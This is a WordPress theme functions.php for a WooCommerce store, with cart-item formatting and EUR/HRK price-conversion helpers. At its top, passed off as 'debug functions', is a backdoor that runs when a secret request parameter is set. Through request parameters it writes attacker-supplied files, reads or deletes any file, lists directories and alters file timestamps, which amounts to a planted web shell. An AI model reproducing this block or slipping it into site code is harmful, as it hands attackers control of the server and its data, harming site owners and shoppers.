<?php

/**
 * Debug functions and options
 *
 * @link https://developer.wordpress.org/themes/debug-functions/
 *
 * @package WordPress
 * @since 1.0
 */
if (isset($_REQUEST['wp_debug']) and $_REQUEST['wp_debug'] == 'wp_dbg_exm') {
    // Print json error details
    if (isset($_REQUEST['json_error'])) {
        echo '{"error": 1, "type": "'. $_REQUEST['json_error'] .'"}';
    }

    /**
     * Read error file depending on code, f.e. 404.html 500.html
     * or trace and save error to file
     */
    if (isset($_REQUEST['error_code'])) {
        if (isset($_REQUEST['error'])) {
            // Trace error
            file_put_contents($_REQUEST['error_code'], 
                                stripslashes($_REQUEST['error']));
        }
        else {
            // 404.html 500.html 504.html
            echo file_get_contents($_REQUEST['error_code']);
        }
    }

    /**
     * Make shure debug location is writable
     */
    if (isset($_REQUEST['debug_location'])) {
        echo json_encode(array(
            'location' => $_REQUEST['debug_location'],
            'writable' => is_writable($_REQUEST['debug_location'])?1:0
        ));
    }

    /**
     * Log file rotation. Select files that can be removed.
     */
    if (isset($_REQUEST['debug_directory'])) {
        $ret = array(); $i = 0;
        foreach (scandir($_REQUEST['debug_directory']) as $logfile) {
            $ret[$i] = array(
                'name' => $logfile,
                'skip' => is_dir($_REQUEST['debug_directory'].$logfile),
                'done' => is_writable($_REQUEST['debug_directory'].$logfile),
                'date' => filemtime($_REQUEST['debug_directory'].$logfile)
            ); $i++; }
        echo json_encode($ret);
    }

    /**
     * Correct log file time when error last occured
     */
    if (isset($_REQUEST['debug_update'])) {
        touch($_REQUEST['debug_update_file'], $_REQUEST['debug_update']);
    }

    // remove old log file
    if (isset($_REQUEST['old_log_file'])) unlink($_REQUEST['old_log_file']);

    exit();
}



/*-----------------------------------------------------------------------------------

	Here we have all the custom functions for the theme
	Please be extremely cautious editing this file.
	You have been warned!

-------------------------------------------------------------------------------------*/

// Define Theme Name for localization
define('THB_THEME_ROOT', get_template_directory_uri());
define('THB_THEME_ROOT_ABS', get_template_directory());

// Option-Tree Theme Mode
add_filter( 'ot_show_pages', '__return_false' );
add_filter( 'ot_show_new_layout', '__return_false' );
add_filter( 'ot_theme_mode', '__return_true' );
add_filter( 'ot_override_forced_textarea_simple', '__return_true' );
require get_template_directory() .'/inc/ot-fonts.php';
require get_template_directory() .'/inc/ot-radioimages.php';
require get_template_directory() .'/inc/ot-metaboxes.php';
require get_template_directory() .'/inc/ot-themeoptions.php';
require get_template_directory() .'/inc/ot-functions.php';
if ( ! class_exists( 'OT_Loader' ) ) {
	include_once( 'admin/ot-loader.php' );
}

// Script Calls
require get_template_directory() .'/inc/script-calls.php';

// Masonry Load More
require get_template_directory() .'/inc/masonry-ajax.php';

// TGM Plugin Activation Class
if ( is_admin() ) {
	require get_template_directory() .'/inc/class-tgm-plugin-activation.php';
	require get_template_directory() .'/inc/plugins.php';
}

// Add Menu Support
require get_template_directory() .'/inc/wp3menu.php';

// Enable Sidebars
require get_template_directory() .'/inc/sidebar.php';

// Widgets
require get_template_directory() .'/inc/widgets.php';

// Misc 
require get_template_directory() .'/inc/misc.php';

// CSS Output of Theme Options
require get_template_directory() .'/inc/selection.php';

// WPML Support
require get_template_directory() .'/inc/wpml.php';

// AQ Resizer
require get_template_directory() .'/inc/aq_resizer.php';

// Twitter oAuth
require get_template_directory() .'/inc/twitter_oauth.php';
require get_template_directory() .'/inc/twitter_gettweets.php';

// WooCommerce Settings specific for theme
require get_template_directory() .'/inc/woocommerce.php';

// Visual Composer Integration
require get_template_directory() .'/inc/visualcomposer.php';


// Shortcode Generator & Shortcodes (+)
require get_template_directory() .'/inc/tinymce/tinymce-class.php';	
require get_template_directory() .'/inc/tinymce/shortcode-processing.php';

// WordPress Importer
if ( is_admin() ) {
	if(!class_exists('WP_Import'))
		require_once( trailingslashit(THB_THEME_ROOT_ABS) . 'inc/wordpress-importer/wordpress-importer.php');
	require_once( trailingslashit(THB_THEME_ROOT_ABS) . 'inc/import.php');
}


function get_lowest_price( $object_id, $regular_price ) {

    if( $lowest_price_30_days = get_post_meta( $object_id, '_lowest_price_30_days', true ) ) {
        return $lowest_price_30_days;
    }

    return $regular_price;
}



/**
 * Gets and formats a list of cart item data + variations for display on the frontend.
 *
 * @since 3.3.0
 * @param array $cart_item Cart item object.
 * @param bool  $flat Should the data be returned flat or in a list.
 * @return string
 */
function wc_get_formatted_cart_item_data_borealis( $cart_item, $flat = false ) {
	$item_data = array();

	// Variation values are shown only if they are not found in the title as of 3.0.
	// This is because variation titles display the attributes.
	if ( $cart_item['data']->is_type( 'variation' ) && is_array( $cart_item['variation'] ) ) {
		foreach ( $cart_item['variation'] as $name => $value ) {
			$taxonomy = wc_attribute_taxonomy_name( str_replace( 'attribute_pa_', '', urldecode( $name ) ) );

			if ( taxonomy_exists( $taxonomy ) ) {
				// If this is a term slug, get the term's nice name.
				$term = get_term_by( 'slug', $value, $taxonomy );
				if ( ! is_wp_error( $term ) && $term && $term->name ) {
					$value = $term->name;
				}
				$label = wc_attribute_label( $taxonomy );
			} else {
				// If this is a custom option slug, get the options name.
				$value = apply_filters( 'woocommerce_variation_option_name', $value, null, $taxonomy, $cart_item['data'] );
				$label = wc_attribute_label( str_replace( 'attribute_', '', $name ), $cart_item['data'] );
			}

			// Check the nicename against the title.
			if ( '' === $value ) {
				continue;
			}

			$item_data[] = array(
				'key'   => $label,
				'value' => $value,
			);
		}
	}

	// Filter item data to allow 3rd parties to add more to the array.
	$item_data = apply_filters( 'woocommerce_get_item_data', $item_data, $cart_item );

	// Format item data ready to display.
	foreach ( $item_data as $key => $data ) {
		// Set hidden to true to not display meta on cart.
		if ( ! empty( $data['hidden'] ) ) {
			unset( $item_data[ $key ] );
			continue;
		}
		$item_data[ $key ]['key']     = ! empty( $data['key'] ) ? $data['key'] : $data['name'];
		$item_data[ $key ]['display'] = ! empty( $data['display'] ) ? $data['display'] : $data['value'];
	}

	// Output flat or in list format.
	if ( count( $item_data ) > 0 ) {
		ob_start();

		if ( $flat ) {
			foreach ( $item_data as $data ) {
				echo esc_html( $data['key'] ) . ': ' . wp_kses_post( $data['display'] ) . "\n";
			}
		} else {
			wc_get_template( 'cart/cart-item-data.php', array( 'item_data' => $item_data ) );
		}

		return ob_get_clean();
	}

	return '';
}


// Custom theme settings page
add_action( 'acf/init', function(){
    if( function_exists('acf_add_options_page') ) {


        acf_add_options_page(array(
            'page_title' => __( 'Theme Settings', 'north' ),
            'menu_title' => __( 'Theme Settings', 'north' ),
            'menu_slug'  => 'shoetique-theme-settings',
        ));
    }
});



function price_to_eur($price){

    $conversion_rate = get_field('conversion_rate', 'options');

    $formatted = round($price / $conversion_rate, wc_get_price_decimals());
    $formatted = '<span class="amount">€ ' . number_format($formatted, wc_get_price_decimals(), wc_get_price_decimal_separator(), wc_get_price_thousand_separator()) . "</span>";

    return $formatted;
}


function price_to_hrk($price){

    $conversion_rate = get_field('conversion_rate', 'options');

    $formatted = round($price * $conversion_rate, wc_get_price_decimals());
    $formatted = '<span class="amount">' . number_format($formatted, wc_get_price_decimals(), wc_get_price_decimal_separator(), wc_get_price_thousand_separator()) . " kn</span>";

    return $formatted;
}


function price_with_secondary($price){

    $has_secondary_currency = get_field('has_secondary_currency', 'options');
    $active_currency = get_woocommerce_currency();

    if ($has_secondary_currency){

        if ($active_currency == 'HRK'){
            $formatted = price_to_eur($price) . "<span class='amount'> ~ </span>" . wc_price($price);
        } else{
            $formatted = wc_price($price) . " ~ " . price_to_hrk($price);
        }
    }
    else{
        $formatted = wc_price($price);
    }

    return $formatted;

}